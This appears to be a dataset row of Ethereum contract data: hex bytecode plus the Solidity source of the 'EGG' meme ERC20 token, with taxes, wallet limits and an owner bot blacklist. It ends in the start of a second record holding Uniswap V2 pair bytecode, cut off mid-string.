bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104c2565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ca15760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104c2565b6001600160a01b038216610d035760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104c2565b5f8111610d645760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104c2565b5f80546001600160a01b03858116911614801590610d8f57505f546001600160a01b03848116911614155b156110a9576001600160a01b0384165f9081526004602052604090205460ff16158015610dd457506001600160a01b0383165f9081526004602052604090205460ff16155b610ddc575f80fd5b610e086064610e02600a54600d5411610df757600654610dfb565b6008545b85906113c5565b9061144a565b6013549091506001600160a01b038581169116148015610e3657506012546001600160a01b03848116911614155b8015610e5a57506001600160a01b0383165f9081526003602052604090205460ff16155b15610f4057600e54821115610eb15760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016104c2565b600f5482610ed3856001600160a01b03165f9081526001602052604090205490565b610edd9190611949565b1115610f2b5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016104c2565b600d8054905f610f3a8361195c565b91905055505b6013546001600160a01b038481169116148015610f6657506001600160a01b0384163014155b15610f9357610f906064610e02600b54600d5411610f8657600754610dfb565b60095485906113c5565b90505b305f90815260016020526040902054601354600160a81b900460ff16158015610fc957506013546001600160a01b038581169116145b8015610fde5750601354600160b01b900460ff165b8015610feb575060105481115b8015610ffa5750600c54600d54115b156110a75760155443111561100e575f6014555b6003601454106110605760405162461bcd60e51b815260206004820152601760248201527f4f6e6c7920332073656c6c732070657220626c6f636b2100000000000000000060448201526064016104c2565b61107d611078846110738460115461148b565b61148b565b61121e565b47801561108d5761108d4761138e565b60148054905f61109c8361195c565b909155505043601555505b505b801561112157305f908152600160205260409020546110c8908261149f565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906111189085815260200190565b60405180910390a35b6001600160a01b0384165f9081526001602052604090205461114390836114fd565b6001600160a01b0385165f9081526001602052604090205561118661116883836114fd565b6001600160a01b0385165f908152600160205260409020549061149f565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6111cf85856114fd565b60405190815260200160405180910390a350505050565b5f81848411156112095760405162461bcd60e51b81526004016104c2919061156a565b505f6112158486611974565b95945050505050565b6013805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110611264576112646118d0565b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156112bb573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906112df91906118e4565b816001815181106112f2576112f26118d0565b6001600160a01b0392831660209182029290920101526012546113189130911684610b1a565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac947906113509085905f90869030904290600401611987565b5f604051808303815f87803b158015611367575f80fd5b505af1158015611379573d5f803e3d5ffd5b50506013805460ff60a81b1916905550505050565b6005546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015610525573d5f803e3d5ffd5b5f825f036113d457505f61040b565b5f6113df8385611884565b9050826113ec85836119f8565b146114435760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104c2565b9392505050565b5f61144383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061153e565b5f8183116114995782611443565b50919050565b5f806114ab8385611949565b9050838110156114435760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104c2565b5f61144383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111e6565b5f818361155e5760405162461bcd60e51b81526004016104c2919061156a565b505f61121584866119f8565b5f602080835283518060208501525f5b818110156115965785810183015185820160400152820161157a565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146115ca575f80fd5b50565b80356115d8816115b6565b919050565b5f80604083850312156115ee575f80fd5b82356115f9816115b6565b946020939093013593505050565b5f805f60608486031215611619575f80fd5b8335611624816115b6565b92506020840135611634816115b6565b929592945050506040919091013590565b634e487b7160e01b5f52604160045260245ffd5b5f602080838503121561166a575f80fd5b823567ffffffffffffffff80821115611681575f80fd5b818501915085601f830112611694575f80fd5b8135818111156116a6576116a6611645565b8060051b604051601f19603f830116810181811085821117156116cb576116cb611645565b6040529182528482019250838101850191888311156116e8575f80fd5b938501935b8285101561170d576116fe856115cd565b845293850193928501926116ed565b98975050505050505050565b5f60208284031215611729575f80fd5b8135611443816115b6565b5f8060408385031215611745575f80fd5b8235611750816115b6565b91506020830135611760816115b6565b809150509250929050565b5f6020828403121561177b575f80fd5b5035919050565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156117d057815f19048211156117b6576117b6611782565b808516156117c357918102915b93841c939080029061179b565b509250929050565b5f826117e65750600161040b565b816117f257505f61040b565b816001811461180857600281146118125761182e565b600191505061040b565b60ff84111561182357611823611782565b50506001821b61040b565b5060208310610133831016604e8410600b8410161715611851575081810a61040b565b61185b8383611796565b805f190482111561186e5761186e611782565b029392505050565b5f61144360ff8416836117d8565b808202811582820484141761040b5761040b611782565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52603260045260245ffd5b5f602082840312156118f4575f80fd5b8151611443816115b6565b5f805f60608486031215611911575f80fd5b8351925060208401519150604084015190509250925092565b5f6020828403121561193a575f80fd5b81518015158114611443575f80fd5b8082018082111561040b5761040b611782565b5f6001820161196d5761196d611782565b5060010190565b8181038181111561040b5761040b611782565b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156119d75784516001600160a01b0316835293830193918301916001016119b2565b50506001600160a01b03969096166060850152505050608001529392505050565b5f82611a1257634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212201422f8045df15010bae87f00033fbf51008244d7698d7f40dfb7eb0920ffc1f864736f6c63430008170033 | 608060405260043610610134575f3560e01c8063751039fc116100a8578063a9059cbb1161006d578063a9059cbb14610331578063bf474bed14610350578063c9567bf914610365578063d34628cc14610379578063dd62ed3e14610398578063ec1f3f63146103dc575f80fd5b8063751039fc146102cd5780637d1db4a5146102e15780638da5cb5b146102f65780638f9a55c01461031c57806395d89b411461013f575f80fd5b8063313ce567116100f9578063313ce567146101fe57806331c2d847146102195780633bbac5791461023a57806351bc3c851461027157806370a0823114610285578063715018a6146102b9575f80fd5b806306fdde031461013f578063095ea7b3146101795780630faee56f146101a857806318160ddd146101cb57806323b872dd146101df575f80fd5b3661013b57005b5f80fd5b34801561014a575f80fd5b50604080518082018252600381526245474760e81b60208201529051610170919061156a565b60405180910390f35b348015610184575f80fd5b506101986101933660046115dd565b6103fb565b6040519015158152602001610170565b3480156101b3575f80fd5b506101bd60115481565b604051908152602001610170565b3480156101d6575f80fd5b506101bd610411565b3480156101ea575f80fd5b506101986101f9366004611607565b610432565b348015610209575f80fd5b5060405160098152602001610170565b348015610224575f80fd5b50610238610233366004611659565b610499565b005b348015610245575f80fd5b50610198610254366004611719565b6001600160a01b03165f9081526004602052604090205460ff1690565b34801561027c575f80fd5b50610238610529565b348015610290575f80fd5b506101bd61029f366004611719565b6001600160a01b03165f9081526001602052604090205490565b3480156102c4575f80fd5b50610238610576565b3480156102d8575f80fd5b506102386105e7565b3480156102ec575f80fd5b506101bd600e5481565b348015610301575f80fd5b505f546040516001600160a01b039091168152602001610170565b348015610327575f80fd5b506101bd600f5481565b34801561033c575f80fd5b5061019861034b3660046115dd565b61069b565b34801561035b575f80fd5b506101bd60105481565b348015610370575f80fd5b506102386106a7565b348015610384575f80fd5b50610238610393366004611659565b610a51565b3480156103a3575f80fd5b506101bd6103b2366004611734565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b3480156103e7575f80fd5b506102386103f636600461176b565b610ad5565b5f610407338484610b1a565b5060015b92915050565b5f61041e6009600a611876565b61042d906461f313f880611884565b905090565b5f61043e848484610c3d565b61048f843361048a85604051806060016040528060288152602001611a18602891396001600160a01b038a165f90815260026020908152604080832033845290915290205491906111e6565b610b1a565b5060019392505050565b5f546001600160a01b031633146104cb5760405162461bcd60e51b81526004016104c29061189b565b60405180910390fd5b5f5b8151811015610525575f60045f8484815181106104ec576104ec6118d0565b6020908102919091018101516001600160a01b031682528101919091526040015f20805460ff19169115159190911790556001016104cd565b5050565b6005546001600160a01b0316336001600160a01b031614610548575f80fd5b305f908152600160205260409020548015610566576105668161121e565b478015610525576105258161138e565b5f546001600160a01b0316331461059f5760405162461bcd60e51b81526004016104c29061189b565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146106105760405162461bcd60e51b81526004016104c29061189b565b61061c6009600a611876565b61062b906461f313f880611884565b600e5561063a6009600a611876565b610649906461f313f880611884565b600f557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6106796009600a611876565b610688906461f313f880611884565b60405190815260200160405180910390a1565b5f610407338484610c3d565b5f546001600160a01b031633146106d05760405162461bcd60e51b81526004016104c29061189b565b601354600160a01b900460ff161561072a5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016104c2565b601280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556107749030906107656009600a611876565b61048a906461f313f880611884565b60125f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107c4573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107e891906118e4565b6001600160a01b031663c9c653963060125f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610847573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061086b91906118e4565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156108b5573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108d991906118e4565b601380546001600160a01b039283166001600160a01b03199091161790556012541663f305d7194730610920816001600160a01b03165f9081526001602052604090205490565b5f806109335f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610999573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906109be91906118ff565b505060135460125460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af1158015610a13573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a37919061192a565b506013805462ff00ff60a01b19166201000160a01b179055565b5f546001600160a01b03163314610a7a5760405162461bcd60e51b81526004016104c29061189b565b5f5b815181101561052557600160045f848481518110610a9c57610a9c6118d0565b6020908102919091018101516001600160a01b031682528101919091526040015f20805460ff1916911515919091179055600101610a7c565b6005546001600160a01b0316336001600160a01b031614610af4575f80fd5b6008548111158015610b0857506009548111155b610b10575f80fd5b6008819055600955565b6001600160a01b038316610b7c5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104c2565b6001600160a01b038216610bdd5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104c2565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ca15760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104c2565b6001600160a01b038216610d035760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104c2565b5f8111610d645760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104c2565b5f80546001600160a01b03858116911614801590610d8f57505f546001600160a01b03848116911614155b156110a9576001600160a01b0384165f9081526004602052604090205460ff16158015610dd457506001600160a01b0383165f9081526004602052604090205460ff16155b610ddc575f80fd5b610e086064610e02600a54600d5411610df757600654610dfb565b6008545b85906113c5565b9061144a565b6013549091506001600160a01b038581169116148015610e3657506012546001600160a01b03848116911614155b8015610e5a57506001600160a01b0383165f9081526003602052604090205460ff16155b15610f4057600e54821115610eb15760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016104c2565b600f5482610ed3856001600160a01b03165f9081526001602052604090205490565b610edd9190611949565b1115610f2b5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016104c2565b600d8054905f610f3a8361195c565b91905055505b6013546001600160a01b038481169116148015610f6657506001600160a01b0384163014155b15610f9357610f906064610e02600b54600d5411610f8657600754610dfb565b60095485906113c5565b90505b305f90815260016020526040902054601354600160a81b900460ff16158015610fc957506013546001600160a01b038581169116145b8015610fde5750601354600160b01b900460ff165b8015610feb575060105481115b8015610ffa5750600c54600d54115b156110a75760155443111561100e575f6014555b6003601454106110605760405162461bcd60e51b815260206004820152601760248201527f4f6e6c7920332073656c6c732070657220626c6f636b2100000000000000000060448201526064016104c2565b61107d611078846110738460115461148b565b61148b565b61121e565b47801561108d5761108d4761138e565b60148054905f61109c8361195c565b909155505043601555505b505b801561112157305f908152600160205260409020546110c8908261149f565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906111189085815260200190565b60405180910390a35b6001600160a01b0384165f9081526001602052604090205461114390836114fd565b6001600160a01b0385165f9081526001602052604090205561118661116883836114fd565b6001600160a01b0385165f908152600160205260409020549061149f565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6111cf85856114fd565b60405190815260200160405180910390a350505050565b5f81848411156112095760405162461bcd60e51b81526004016104c2919061156a565b505f6112158486611974565b95945050505050565b6013805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110611264576112646118d0565b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156112bb573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906112df91906118e4565b816001815181106112f2576112f26118d0565b6001600160a01b0392831660209182029290920101526012546113189130911684610b1a565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac947906113509085905f90869030904290600401611987565b5f604051808303815f87803b158015611367575f80fd5b505af1158015611379573d5f803e3d5ffd5b50506013805460ff60a81b1916905550505050565b6005546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015610525573d5f803e3d5ffd5b5f825f036113d457505f61040b565b5f6113df8385611884565b9050826113ec85836119f8565b146114435760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104c2565b9392505050565b5f61144383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061153e565b5f8183116114995782611443565b50919050565b5f806114ab8385611949565b9050838110156114435760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104c2565b5f61144383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111e6565b5f818361155e5760405162461bcd60e51b81526004016104c2919061156a565b505f61121584866119f8565b5f602080835283518060208501525f5b818110156115965785810183015185820160400152820161157a565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146115ca575f80fd5b50565b80356115d8816115b6565b919050565b5f80604083850312156115ee575f80fd5b82356115f9816115b6565b946020939093013593505050565b5f805f60608486031215611619575f80fd5b8335611624816115b6565b92506020840135611634816115b6565b929592945050506040919091013590565b634e487b7160e01b5f52604160045260245ffd5b5f602080838503121561166a575f80fd5b823567ffffffffffffffff80821115611681575f80fd5b818501915085601f830112611694575f80fd5b8135818111156116a6576116a6611645565b8060051b604051601f19603f830116810181811085821117156116cb576116cb611645565b6040529182528482019250838101850191888311156116e8575f80fd5b938501935b8285101561170d576116fe856115cd565b845293850193928501926116ed565b98975050505050505050565b5f60208284031215611729575f80fd5b8135611443816115b6565b5f8060408385031215611745575f80fd5b8235611750816115b6565b91506020830135611760816115b6565b809150509250929050565b5f6020828403121561177b575f80fd5b5035919050565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156117d057815f19048211156117b6576117b6611782565b808516156117c357918102915b93841c939080029061179b565b509250929050565b5f826117e65750600161040b565b816117f257505f61040b565b816001811461180857600281146118125761182e565b600191505061040b565b60ff84111561182357611823611782565b50506001821b61040b565b5060208310610133831016604e8410600b8410161715611851575081810a61040b565b61185b8383611796565b805f190482111561186e5761186e611782565b029392505050565b5f61144360ff8416836117d8565b808202811582820484141761040b5761040b611782565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52603260045260245ffd5b5f602082840312156118f4575f80fd5b8151611443816115b6565b5f805f60608486031215611911575f80fd5b8351925060208401519150604084015190509250925092565b5f6020828403121561193a575f80fd5b81518015158114611443575f80fd5b8082018082111561040b5761040b611782565b5f6001820161196d5761196d611782565b5060010190565b8181038181111561040b5761040b611782565b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156119d75784516001600160a01b0316835293830193918301916001016119b2565b50506001600160a01b03969096166060850152505050608001529392505050565b5f82611a1257634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212201422f8045df15010bae87f00033fbf51008244d7698d7f40dfb7eb0920ffc1f864736f6c63430008170033 | /*
Just an $EGG
https://t.me/egg_ethereum
https://eggerc.net/
https://x.com/EGG_oneth
*/
// SPDX-License-Identifier: UNLICENSE
pragma solidity 0.8.23;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract EGG is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
address payable private _taxWallet;
uint256 private _initialBuyTax=20;
uint256 private _initialSellTax=23;
uint256 private _finalBuyTax=0;
uint256 private _finalSellTax=0;
uint256 private _reduceBuyTaxAt=20;
uint256 private _reduceSellTaxAt=23;
uint256 private _preventSwapBefore=20;
uint256 private _buyCount=0;
uint8 private constant _decimals = 9;
uint256 private constant _tTotal = 420690000000 * 10**_decimals;
string private constant _name = unicode"EGG";
string private constant _symbol = unicode"EGG";
uint256 public _maxTxAmount = 8413800000 * 10**_decimals;
uint256 public _maxWalletSize = 8413800000 *10**_decimals;
uint256 public _taxSwapThreshold= 4206900000 * 10**_decimals;
uint256 public _maxTaxSwap= 4206900000 * 10**_decimals;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
uint256 private sellCount = 0;
uint256 private lastSellBlock = 0;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_taxWallet = payable(_msgSender());
_balances[_msgSender()] = _tTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_taxWallet] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
uint256 taxAmount=0;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] ) {
require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
_buyCount++;
}
if(to == uniswapV2Pair && from!= address(this) ){
taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && to == uniswapV2Pair && swapEnabled && contractTokenBalance > _taxSwapThreshold && _buyCount > _preventSwapBefore) {
if (block.number > lastSellBlock) {
sellCount = 0;
}
require(sellCount < 3, "Only 3 sells per block!");
swapTokensForEth(min(amount, min(contractTokenBalance, _maxTaxSwap)));
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
sellCount++;
lastSellBlock = block.number;
}
}
if(taxAmount>0){
_balances[address(this)]=_balances[address(this)].add(taxAmount);
emit Transfer(from, address(this),taxAmount);
}
_balances[from]=_balances[from].sub(amount);
_balances[to]=_balances[to].add(amount.sub(taxAmount));
emit Transfer(from, to, amount.sub(taxAmount));
}
function min(uint256 a, uint256 b) private pure returns (uint256){
return (a>b)?b:a;
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function removeLimits() external onlyOwner{
_maxTxAmount = _tTotal;
_maxWalletSize=_tTotal;
emit MaxTxAmountUpdated(_tTotal);
}
function sendETHToFee(uint256 amount) private {
_taxWallet.transfer(amount);
}
function addBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBots(address[] memory notbot) public onlyOwner {
for (uint i = 0; i < notbot.length; i++) {
bots[notbot[i]] = false;
}
}
function isBot(address a) public view returns (bool){
return bots[a];
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
swapEnabled = true;
tradingOpen = true;
}
function reduceFee(uint256 _newFee) external{
require(_msgSender()==_taxWallet);
require(_newFee<=_finalBuyTax && _newFee<=_finalSellTax);
_finalBuyTax=_newFee;
_finalSellTax=_newFee;
}
receive() external payable {}
function manualSwap() external {
require(_msgSender()==_taxWallet);
uint256 tokenBalance=balanceOf(address(this));
if(tokenBalance>0){
swapTokensForEth(tokenBalance);
}
uint256 ethBalance=address(this).balance;
if(ethBalance>0){
sendETHToFee(ethBalance);
}
}
} |
1 | 20,290,687 | 5caf8fff1b6bb73b253bd26a4226b6d7bb37c51ff9085ab0d2141c57459d6932 | 78fab1b4e11fb8d48ca7b29434a63e123eb92bb59e90a8cb9f8f24adebbe4917 | ec962794cd7337b6df27a4f94e1ca639dd6c33fc | 5c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f | 71495733633ac3ea54c95552a8f481960037b203 | 60806040526001600c5534801561001557600080fd5b506040514690806052612d228239604080519182900360520182208282018252600a8352692ab734b9bbb0b8102b1960b11b6020938401528151808301835260018152603160f81b908401528151808401919091527fbfcc8ef98ffbf7b6c3fec7bf5185b566b9863e35a9d83acd49ad6824b5969738818301527fc89efdaa54c0f20c7adf612882df0950f5a951637e0307cdcb4c672f298b8bc6606082015260808101949094523060a0808601919091528151808603909101815260c09094019052825192019190912060035550600580546001600160a01b03191633179055612c1d806101056000396000f3fe608060405234801561001057600080fd5b50600436106101b95760003560e01c80636a627842116100f9578063ba9a7a5611610097578063d21220a711610071578063d21220a7146105da578063d505accf146105e2578063dd62ed3e14610640578063fff6cae91461067b576101b9565b8063ba9a7a5614610597578063bc25cf771461059f578063c45a0155146105d2576101b9565b80637ecebe00116100d35780637ecebe00146104d757806389afcb441461050a57806395d89b4114610556578063a9059cbb1461055e576101b9565b80636a6278421461046957806370a082311461049c5780637464fc3d146104cf576101b9565b806323b872dd116101665780633644e515116101405780633644e51514610416578063485cc9551461041e5780635909c0d5146104595780635a3d549314610461576101b9565b806323b872dd146103ad57806330adf81f146103f0578063313ce567146103f8576101b9565b8063095ea7b311610197578063095ea7b3146103155780630dfe16811461036257806318160ddd14610393576101b9565b8063022c0d9f146101be57806306fdde03146102595780630902f1ac146102d6575b600080fd5b610257600480360360808110156101d457600080fd5b81359160208101359173ffffffffffffffffffffffffffffffffffffffff604083013516919081019060808101606082013564010000000081111561021857600080fd5b82018360208201111561022a57600080fd5b8035906020019184600183028401116401000000008311171561024c57600080fd5b509092509050610683565b005b610261610d57565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561029b578181015183820152602001610283565b50505050905090810190601f1680156102c85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102de610d90565b604080516dffffffffffffffffffffffffffff948516815292909316602083015263ffffffff168183015290519081900360600190f35b61034e6004803603604081101561032b57600080fd5b5073ffffffffffffffffffffffffffffffffffffffff8135169060200135610de5565b604080519115158252519081900360200190f35b61036a610dfc565b6040805173ffffffffffffffffffffffffffffffffffffffff9092168252519081900360200190f35b61039b610e